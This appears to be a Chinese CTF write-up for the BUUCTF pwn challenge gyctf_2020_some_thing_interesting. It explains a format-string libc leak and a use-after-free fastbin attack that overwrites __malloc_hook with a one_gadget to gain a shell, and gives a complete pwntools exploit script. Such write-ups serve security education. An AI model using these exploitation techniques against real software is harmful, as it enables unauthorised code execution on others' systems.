[BUUCTF]PWN——gyctf_2020_some_thing_interesting(格式化字符串+UAF)

gyctf_2020_some_thing_interesting

附件

步骤

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 本地试运行一下程序,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入
    在这里插入图片描述
    sub_B7A()
    在这里插入图片描述
    check()
    在这里插入图片描述
    create(),会申请两个chunk
    在这里插入图片描述
    modify()
    在这里插入图片描述delete()
    在这里插入图片描述

利用思路:

  1. 利用格式化字符串漏洞来泄露libc
  2. 利用uaf ,将malloc_hook改为one_gadge
  3. 调用add,触发malloc,获取shell

利用过程

  1. 首先动调一下,利用格式化字符漏洞去泄露libc
    记录一下动调过程
    gdb启动调试,r运行,由于不知道偏移是多少,先随便输入一个偏移
    在这里插入图片描述
    之后选0调用check函数,触发格式化字符串漏洞,查看打印出来的内容,看到偏移为12的地方上的内容是0x555555555680
    在这里插入图片描述
    ctrl+c终止程序,stack查看栈上的布局,找到了偏移为12的地方,发现libc_start_main+240(libc中的一个函数),有了它我们就可以泄露libc了
    在这里插入图片描述
    肯定有人好奇,0xd70处不是也有0x555555555555680么,看一下偏移为16的地方即可解决这个疑惑
    在这里插入图片描述
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p")	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')

start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']

到这儿我们就成功泄露了libc

  1. uaf漏洞的利用
    详细利用手段见堆的六种利用方法,这边稍微记录一下
    申请两个chunk(都是fast bin),释放chunk1,由于fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))

在这里插入图片描述

现在chunk1的fd指针指向了malloc_hook上方的空间,此时我们申请chunk就可以申请到malloc_hook的空间里了,因此我们可以在malloc_hook中写入one_gadget得到权限。

payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)

之后选择1,随便输入,触发malloc即可获取shell
我看其他师傅的wp要用realloc去调整帧栈,但是我利用的时候直接改成one_gadget即可,关于如何利用realloc调整帧栈,详看堆的六种利用方法

完整exp

from pwn import *

#r=remote("node3.buuoj.cn",26634)
r=process('./gyctf_2020_some_thing_interesting')
elf=('./gyctf_2020_some_thing_interesting')
libc=ELF('../../pwn_libc/libc-2.23(64).so')

#context.log_level = 'debug'

one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size1, content1, size2, content2):
	r.recvuntil("#######################\n")
	r.sendline('1')
	r.recvuntil("> O's length : ")
	r.sendline(str(size1))
	r.recvuntil("> O : ")
	r.send(content1)
	r.recvuntil("> RE's length : ")
	r.sendline(str(size2))
	r.recvuntil("> RE : ")
	r.send(content2)

def delete(index):
	r.recvuntil("#######################\n")
	r.sendline('3')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def show(index):
	r.recvuntil("#######################\n")
	r.sendline('4')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def edit(index, content1, content2):
	r.recvuntil("#######################\n")
	r.sendline('2')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))
	r.recvuntil("> O : ")
	r.sendline(content1)
	r.recvuntil("> RE : ")
	r.sendline(content2)

r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p")	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')

start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']


malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
#realloc=libc.address+libc.sym['__realloc_hook']

success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))


add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
#gdb.attach(r)

payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)

#gdb.attach(r)

r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))

r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/114643601